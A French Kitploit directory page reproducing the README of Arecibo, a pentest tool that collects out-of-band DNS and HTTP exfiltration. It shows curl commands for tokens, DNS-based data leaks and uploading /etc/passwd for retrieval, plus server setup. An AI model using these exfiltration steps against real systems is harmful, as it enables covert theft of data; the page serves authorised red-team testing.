Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Arecibo — Point de terminaison pour l'exfiltration hors bande (DNS et HTTP) | Kitploit
Outils/GitHubGitHub/tarlogicsecurity/arecibo
Exfiltration de DonnéesCollecte d'InformationsTests d'IntrusionRed TeamingAnalyse DNS
GitHubtarlogicsecurity/arecibo

Arecibo

Point de terminaison pour l'exfiltration hors bande (DNS et HTTP)

Voir le dépôt
9421il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Arecibo

Point de terminaison pour exfiltration hors bande (DNS et HTTP)

Auteurs

Juan Manuel Fernández (@TheXC3LL) & Pablo Martinez (@Xassiz)

Exfiltration DNS

Créer un nouveau jeton :

root@kitploit:~
curl localhost:5000/generatedns

{"htoken": "c008b5dd22817c50441522f917c66743"} 

Vous pouvez maintenant utiliser ce jeton d'identification pour effectuer des résolutions DNS (ABCD.JETON.x.votredomaine.com) :

root@kitploit:~
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   DOMINIO
Address: 127.0.0.1

Vous pouvez consulter les accès et les données exfiltrées via /hitsdns/JETON :

root@kitploit:~
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743

{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]} 

Si vous souhaitez toutes les données concaténées, utilisez /dumpdns/jeton :

root@kitploit:~
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743

{"dump": "test-exfiltracionconcatenatedtootherinfo"}

Exfiltration HTTP

Générer un jeton :

root@kitploit:~
curl localhost:5000/generatehttp

{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}

Vous pouvez maintenant exfiltrer des informations via des requêtes HTTP (http://votredomaine.com/h/JETON). Les paramètres GET/POST, les en-têtes et l'IP seront enregistrés par Arecibo.

root@kitploit:~
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!

Pour récupérer les informations, utilisez /hitshttp/JETON :

root@kitploit:~
 curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
 
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}

Si vous devez afficher un HTML, des EN-TÊTES ou un code d'état personnalisé, utilisez la méthode POST pour définir ces valeurs (le corps doit être encodé en base64) :

root@kitploit:~
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
    "htoken": "324e18288eed54548392c5a65514b3dc"
}

Résolution DNS dynamique

Arecibo résout les domaines au format X.Y.Z.A.ip.votredomaine.com comme X.Y.Z.A :

root@kitploit:~
> 10.0.0.1.ip.votredomaine.com
Server:         127.0.0.1
Address:        127.0.0.1#53

Name:   votredomaine.com
Address: 10.0.0.1

Transfert de fichier

Téléverser un fichier en utilisant le point de terminaison /upload :

root@kitploit:~
curl localhost:5000/upload -F 'x-file=@/etc/passwd'

{"htoken": "36981274bdb9cc833472681caeb82337"}

Pour le télécharger, utilisez le jeton généré :

root@kitploit:~
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Informations IP

Affiche l'IP du client via /ip :

root@kitploit:~
curl localhost:5000/ip
{"ip": "127.0.0.1"}

Installation et configuration

Vous devez installer pdns et pdns-backend-pipe depuis les dépôts de votre distribution, ainsi que les modules flask et flask_restful pour Python.

  1. Modifiez la configuration de arecibo-dns-backend.py avec vos valeurs
  2. Définissez les privilèges d'exécution chmod +x arecibo-dns-backend.py
  3. Modifiez pdns.conf (vérifiez son emplacement dans votre distribution)
root@kitploit:~
setuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py

(Changez les valeurs setuid/setgid pour celles utilisées pour exécuter le script API, elles doivent être identiques)

  1. Exécutez arecibo-api.py et pdns_server (vérifiez où ils se trouvent dans votre distribution)

VOTRE SERVEUR DOIT ÊTRE CONFIGURÉ COMME DNS AUTHORITATIF POUR VOTRE DOMAINE

IMPORTANT : Vous devez configurer un nginx ou un autre proxy inverse devant Arecibo afin d'assurer l'authentification et la sécurité.

Télécharger l’outil